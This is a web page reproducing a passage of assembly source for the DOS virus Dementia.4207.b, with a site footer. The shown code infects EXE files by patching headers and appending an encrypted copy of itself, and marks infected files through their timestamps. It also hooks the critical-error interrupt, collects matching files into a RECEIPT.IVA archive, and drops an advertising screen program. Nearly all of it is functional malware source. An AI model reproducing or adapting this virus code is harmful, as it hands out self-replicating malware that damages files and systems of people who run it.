push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit

mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...

push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack

and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages

inc dx ; Increase number of bytes on last...

jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...

mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...
cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...

mov ax,10h ; AX = new maximum paragraphs to a...
store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...

call set_pos_sof

mov cx,20h ; Write thirty-two bytes
call write_file

call set_pos_eof

call encrypt_copy

mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

encrypt_copy proc near ; Move virus to data buffer and en...
push bx ; Save BX at stack

mov ah,2ch ; Get system time
int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number

mov ah,2ah ; Get system date
int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "

mov cs:[decrypt_key],dx ; Store decryption key

pop bx ; Load BX from stack

cld ; Clear direction flag
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

lea si,crypt_begin-02h ; SI = offset of crypt_end
mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h

std ; Set direction flag
encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word

loop encrypt_loop

cld ; Clear direction flag

ret ; Return!
endp

int24_store proc near ; Get and set interrupt vector 24h
push bx dx ds es ; Save registers at stack

mov ax,3524h ; Get interrupt vector 24h
int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,int24_virus ; DX = offset of int24_virus
mov ax,2524h ; Set interrupt vector 24h
int 21h

pop es ds dx bx ; Load registers from stack

ret ; Return!
endp

int24_load proc near ; Set interrupt vector 24h
push dx ds ; Load registers from stack

mov dx,word ptr cs:[int24_addr]
mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h

pop ds dx ; Load registers from stack

ret ; Return!
endp

int24_virus proc near ; Interrupt 24h of Dementia.4207.b
mov al,03h ; Fail system call in progress

iret ; Interrupt return!
endp

calc_crc32 proc near ; Calculate CRC-32 checksum
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

add ax,40h ; AX = segment of CRC-32 table
mov es,ax ; ES = " " " "

xor di,di ; Zero DI
xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX

mov al,cl ; AL = counter
push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop

xor dx,0edb8h ; DX = high-order word of CRC-32 t...
xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop

mov es:[di],ax ; Store low-order word of CRC-32 t...
mov es:[di+02h],dx ; Store high-order word of CRC-32 ...

add di,04h ; DI = offset of next CRC-32 table...

pop cx ; Load CX from stack
inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab

call set_pos_sof

mov dx,0ffffh ; DX = high-order word of CRC-32 c...
mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit

mov cx,ax ; CX = number of bytes actually read

pop dx ax ; Load registers from stack

xor si,si ; Zero SI
cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register

xor bl,al ; Exclusive OR (XOR) byte of file ...
mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...

mov al,ah ; AL = low-order byte of low-order...
mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH

mov bx,es:[di] ; BX = low-order word of CRC-32 ta...
xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...

pop cx bx ; Load registers from stack

loop cal_crc_loop

jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack

xor dx,0ffffh ; DX = high-order word of CRC-32 c...
xor ax,0ffffh ; AX = low-order word of CRC-32 ch...

ret ; Return!
endp

create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer

mov [bp-08h],ax ; Store number of file specifications
mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...

mov ah,3bh ; Set current directory

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX
int 21h

mov ax,[bp-08h] ; AX = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_

jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

mov dx,1eh ; DX = offset of filename
call open_file
mov [bp-12h],ax ; Store file handle of file within...

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call set_pos_eof

push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname

mov cx,40h ; Write sixty-four bytes
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack

mov cx,0eh ; Write fourteen bytes
mov dx,1eh ; DX = offset of filename
call write_file_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov cx,04h ; Write four bytes
call write_file

mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt

mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file

jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file

call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop

jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack

add dx,0eh ; DX = offset of next file specifi...

dec cx ; Decrease count register
cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name

jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,file_specifi ; DX = offset of file_specifi
nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit

pop cx ; Load CX from stack
push cx ; Save CX at stack

jmp test_count
found_dir:
push cx ; Save CX at stack

mov cx,01h ; Don't examine disk transfer area
test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta

call find_next
jc receipt_exit ; Error? Jump to receipt_exit

dec cx ; Decrease CX

jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "

mov si,15h ; SI = offset of attribute of file...
lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir

mov si,1eh ; SI = offset of filename
lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je

  
found_dir ; Equal? Jump to found_dir

mov ax,[bp-02h] ; AX = store or don't store backslash
mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_

mov al,'\' ; AL = backslash
stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero

stosb ; Store byte of filename

jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero

mov ax,[bp-08h] ; AX = number of file specifications
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack

mov ah,3bh ; Set current directory

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX

mov di,[bp-02h] ; DI = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero

int 21h

jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

open_file proc near ; Open file
mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle

ret ; Return!
endp

close_file proc near ; Close file
mov ah,3eh ; Close file
int 21h

ret ; Return!
endp

find_first proc near ; Find first matching file
mov ax,4e00h ; Find first matching file
int 21h

ret ; Return!
endp

find_next proc near ; Find next matching file
mov ah,4fh ; Find next matching file
int 21h

ret ; Return!
endp

load_info proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date

ret ; Return!
endp

infect_mark proc near ; Infection mark
mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h

ret ; Return!
endp

read_file proc near ; Read from file
xor dx,dx ; Zero DX

read_file_ proc near ; Read from file
mov ah,3fh ; Read from file
int 21h

ret ; Return!
endp
endp

create_file proc near ; Create file
mov ah,3ch ; Create file

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor cx,cx ; CX = file attributes
int 21h

ret ; Return!
endp

write_file proc near ; Write to file
xor dx,dx ; Zero DX

write_file_ proc near ; Write to file
mov ah,40h ; Write to file
int 21h

ret ; Return!
endp
endp

set_pos_cfp proc near ; Set current file position (CFP)
mov ax,4201h ; Set current file position (CFP)
int 21h

ret ; Return!
endp

set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h

ret ; Return!
endp

set_pos_sof proc near ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX

set_pos_sof_ proc near ; Set current file position (SOF)
mov ax,4200h ; Set current file position (SOF)
int 21h

ret ; Return!
endp
endp

delete_file proc near ; Delete file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ah,41h ; Delete file
xor cx,cx ; CL = attribute mask for deletion
int 21h

ret ; Return!
endp
file_begin:
mov cx,(crypt_end_-crypt_begin_)/02h
mov si,(crypt_begin_-file_begin+100h)
mov di,si ; DI = offset of crypt_begin_
mov dx,1995h ; DX = decryption key

push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loo_:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two decrypted bytes

jmp decrypt_lo__
decrypt_lo__:
loop decrypt_loo_
crypt_begin_:
mov ax,01h ; Set video mode
int 10h

mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "

xor di,di ; Zero DI
mov cx,3e8h ; Store one thousand bytes
mov ax,0f20h ; Bright white background color, g...
rep stosw ; Overwrite text video RAM

xor di,di ; Zero DI
mov si,(gfx_begin-file_begin+100h)
mov cx,(gfx_end-gfx_begin)
load_gfx:
lodsb ; AL = byte of gfx_begin
cmp al,0ffh ; Write a string?
jne store_gfx ; Not equal? Jump to store_gfx

lodsb ; AL = byte of gfx_begin
dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_gfx ; Equal? Jump to store_gfx

push cx si ds ; Save registers at stack
xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of gfx_begin
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of gfx_begin
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within gfx...

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

rep movsb ; Move string to text video RAM
pop ds si cx ; Load registers at stack

add si,02h ; Add two to index register

sub cx,02h ; Subtract two from count register

jmp dont_sto_gfx
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx

mov ah,01h ; Set text-mode cursor shape
mov cx,2020h ; CX = cursor start, options, botto...
int 10h

mov ax,600h ; Scroll up window (clear entire w...)
mov cx,1700h ; CX = row and column of window's u...
mov dx,174fh ; DX = row and column of window's l...
mov bh,03h ; BH = attributes used to write bla...
int 10h

xor bx,bx ; BH = page number
mov dx,1600h ; DX = row and column
mov ah,02h ; Set cursor position
int 10h

mov bx,05h ; BX = attribute and page number
mov cx,28h ; CX = number of times to write ch...
mov ax,9c4h ; Write character and attribute at...
push ax bx cx ; Save registers at stack
int 10h

mov dx,1800h ; DX = row and column
mov ah,02h ; Set cursor position
int 10h

pop cx bx ax ; Load registers from stack
int 10h

mov bp,27h ; BP = length of row - 01h
prepare_tele:
mov dx,1700h ; DX = row and column
call set_cursor

cmp bp,01h ; Beginning of row?
jb examine_str ; Below? Jump to examine_str

mov cx,bp ; CX = number of times to write ch...
mov ax,0a20h ; Write character only at cursor p...
int 10h

add dx,cx ; Add current position in row to c...
call set_cursor

mov cx,28h ; CX = length of row
sub cx,bp ; Subtract current position in row...
dec bp ; Decrease base pointer

mov si,(_dementia_v-file_begin+100h)

jmp call_teletyp
examine_str:
mov cx,28h ; CX = length of row
inc si ; Increase index register

cmp byte ptr [si],00h ; End of string?
jne call_teletyp ; Not equal? Jump to call_teletyp

mov si,(_dementia_v-file_begin+100h)
call_teletyp:
push si ; Save SI at stack
call teletype_str
pop si ; Load SI from stack

jmp prepare_tele

teletype_str proc near ; Teletype string
lodsb ; AL = byte of _dementia_v
cmp al,00h ; End of string?
jne teletype_out ; Not equal? Jump to teletype_out

mov si,(_dementia_v-file_begin+100h)

jmp teletype_str
teletype_out:
mov ah,0eh ; Teletype output
int 10h

mov ah,01h ; Check for keystroke
int 16h
jnz hot_bbs_exit ; Keystroke available? Jump to hot...

loop teletype_str

mov cx,0fh ; PUSH/POP/LOOP fifteen times
loop_:
push cx ; Save CX at stack
xor cx,cx ; Zero CX
loop__:
loop loop__

pop cx ; Load CX from stack

loop loop_

ret ; Return!
endp
hot_bbs_exit:
mov ax,0c02h ; Flush buffer and read standard i...
int 21h

call cls_effect

mov ax,03h ; Set video mode
int 10h

mov ah,09h ; Write string to standard output
mov dx,(_c__little_l-file_begin+100h)
int 21h

mov ax,4c00h ; Terminate with return code
int 21h

set_cursor proc near ; Set cursor position
mov ah,02h ; Set cursor position
int 10h

ret ; Return!
endp

_dementia_v db '[Dementia v1.5b] -= 4 Ball Cafe''=- '
db '(801) PRI-VATE ì VX Support BBS ì USR Dual 28.8k ì'
db ' 2 nodes -=*=- ',00h
_c__little_l db '(C) Little Loc July ''94$'
gfx_begin db 0ffh,1ah,00h,00h,44h,09h,65h,09h,6dh,09h,65h,09h,6eh,09h
db 74h,09h,69h,09h,61h,09h,20h,09h,20h,09h,76h,09h,31h,09h
db 2eh,09h,35h,09h,62h,09h,0ffh,2ah,3ah,00h,28h,09h,43h,09h
db 29h,09h,20h,09h,4ah,09h,75h,09h,6eh,09h,65h,09h,20h,09h
db 27h,09h,39h,09h,34h,09h,20h,09h,2dh,09h,4eh,09h,65h,09
db 63h,09h,72h,09h,6fh,09h,73h,09h,6fh,09h,66h,09h,74h,09h
db 0ffh,0c6h,92h,00h,0dbh,0a0h,0ffh,0eh,5ah,01h,0b0h,3bh
db 0ffh,3fh,18h,01h,0c0h,0ffh,0ch,0bah,01h,0b1h,3bh,0b1h,3bh
db 0b1h,3bh,0ffh,48h,6ah,01h,0b2h,3bh,0ffh,08h,02h,02h,0ffh
db 3ah,0beh,01h,0dbh,0c0h,0ffh,0ah,0ach,01h,20h,6bh,0dch,68h
db 20h,68h,0dch,68h,20h,68h,0b1h,3bh,0ffh,42h,0c0h,01h,20h
db 0e0h,20h,0e0h,0bfh,68h,7eh,68h,0dah,68h,20h,68h,20h,68h
db 0ffh,37h,0eh,02h,0e0h,0ffh,06h,0e4h,02h,20h,0a0h,0ffh,06h
db 0ech,02h,0c0h,68h,0c4h,68h,0d9h,68h,20h,28h,0ffh,06h,0fah
db 02h,0ffh,08h,0e4h,02h,0dbh,0e0h,0ffh,2eh,6ch,02h,0dbh,86h
db 0dbh,86h,20h,86h,20h,0a6h,20h,0a6h,0cdh,2ah,0cbh,2ah,0cdh
db 2ah,20h,2ah,20h,2ah,20h,0fh,0dbh,86h,0dbh,86h,0ffh,30h
db 66h,02h,0ffh,0dh,34h,03h,86h,20h,0a6h,20h,0a6h,0bah,0ffh
db 07h,49h,03h,0ffh,07h,38h,03h,0ffh,3bh,79h,01h,20h,0fh,20h
db 90h,20h,0a0h,20h,0ffh,06h,0e3h,03h,0ffh,07h,9fh,00h,0dch
db 86h,0dch,86h,0ffh,39h,0a8h,03h,90h,20h,0ffh,0bh,31h,04h
db 0dbh,81h,0ffh,05h,3eh,04h,86h,0dbh,86h,0ffh,39h,48h,04h
db 96h,0ffh,05h,80h,04h,0fh,0dbh,90h,0dbh,90h,0dbh,90h,0ffh
db 41h,8eh,04h,0e0h,0ffh,05h,0ceh,04h,0ffh,05h,09h,05h,0ffh
db 06h,0e6h,02h,0ffh,0feh,0e0h,04h,0ffh,0ceh,0e0h,04h,50h
db 08h,72h,08h,65h,08h,73h,08h,73h,08h,20h,08h,61h,08h,6eh
db 08h,79h,08h,20h,08h,6bh,08h,65h,08h,79h,08h,0ffh,1ah,0e0h
db 04h
gfx_end:
cls_effect proc near ; Clear screen effect
push ax bx cx dx si di ss sp

mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "

mov word ptr ds:[(count-file_begin+100h)],0ch
mov word ptr ds:[(count_-file_begin+100h)],0d0h
reset_count:
mov ax,word ptr ds:[(count_-file_begin+100h)]
mov word ptr ds:[(count__-file_begin+100h)],ax
reset_regs:
mov word ptr ds:[(row_count-file_begin+100h)],13h
mov word ptr ds:[(column_count-file_begin+100h)],01h

mov di,3d8h ; DI = offset of lower left corner...

mov ax,word ptr ds:[(count-file_begin+100h)]
mov word ptr ds:[(count___-file_begin+100h)],ax
reset_cx:
mov cx,word ptr ds:[(row_count-file_begin+100h)]
dec cx ; Decrease row counter

push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...
add si,02h ; Add two to the index register

cld ; Clear direction flag
rep movsw ; Move two byte to the right
pop ds ; Load DS from stack

mov cx,word ptr ds:[(column_count-file_begin+100h)]

push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...
sub si,50h ; Subtract eighty from the index r...
mov ax,52h ; Subtract eigty-two from both reg...

cld ; Clear direction flag
move_up:
movsw ; Move two bytes a column up

sub di,ax ; Subtract eighty-two from the ind...
sub si,ax ; " " " " "

loop move_up
pop ds ; Load DS from stack

mov cx,word ptr ds:[(row_count-file_begin+100h)]

push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...
sub si,02h ; Subtract two from the index regi...

std ; Set direction flag
rep movsw ; Move two bytes to the left
pop ds ; Load DS from stack

mov cx,word ptr ds:[(column_count-file_begin+100h)]
inc cx ; Increase column counter

push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...
add si,50h ; Add eighty to the index register
mov ax,52h ; Add eighty-two to both index reg...

std ; Set direction flag
move_down:
movsw ; Move two bytes a column down

add di,ax ; Add eighty-two to the index regi...
add si,ax ; " " " " " "

loop move_down
pop ds ; Load DS from stack

add word ptr ds:[(row_count-file_begin+100h)],02h
add word ptr ds:[(column_count-file_begin+100h)],02h

dec word ptr ds:[(count___-file_begin+100h)]
jnz reset_cx ; Not zero? Jump to reset_cx

dec word ptr ds:[(count__-file_begin+100h)]
jz sub_count_ ; Zero? Jump to sub_count_

jmp reset_regs
sub_count_:
sub word ptr ds:[(count_-file_begin+100h)],08h

dec word ptr ds:[(count-file_begin+100h)]
jz cls_exit ; Zero? Jump to cls_exit

jmp reset_count
cls_exit:
pop sp ss di si dx cx bx ax

ret ; Return!
endp

count___ dw 00h ; Counter
count_ dw 00h ; Counter
count__ dw 00h ; Counter
row_count dw 00h ; Row counter
column_count dw 00h ; Column counter
count dw 00h ; Counter
crypt_end_:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 0dh dup(?) ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
hot_bbs__com db 'HOT_BBS!.COM',00h ; HOT_BBS!.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db '[Necrosoft.Dementia.Troll]',00h,0dh,0ah
db 'Copyright 1994 Necrosoft enterprises - All rights reserved',00h,0dh,0ah
db 'I knew all along that she was the one, ',0dh,0ah
db ' but I hid it down deep inside. ',0dh,0ah
db 'I couldn''t bring myself to tell her, ',0dh,0ah
db ' no matter how I tried. ',0dh,0ah,00h
db 16h dup(00h)
crypt_begin:
code_end:
data_end:
prepare_demt proc near ; Prepare Dementia.4207.b
lea di,crypt_begin_+100h
mov cx,(crypt_end_-crypt_begin_)/02h
encrypt_loo_:
xor [di],1995h ; Encrypt two bytes
inc di ; Increase index register
inc di ; " " "
loop encrypt_loo_

mov [call_imm16+100h],cx

jmp delta_offset
endp

end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT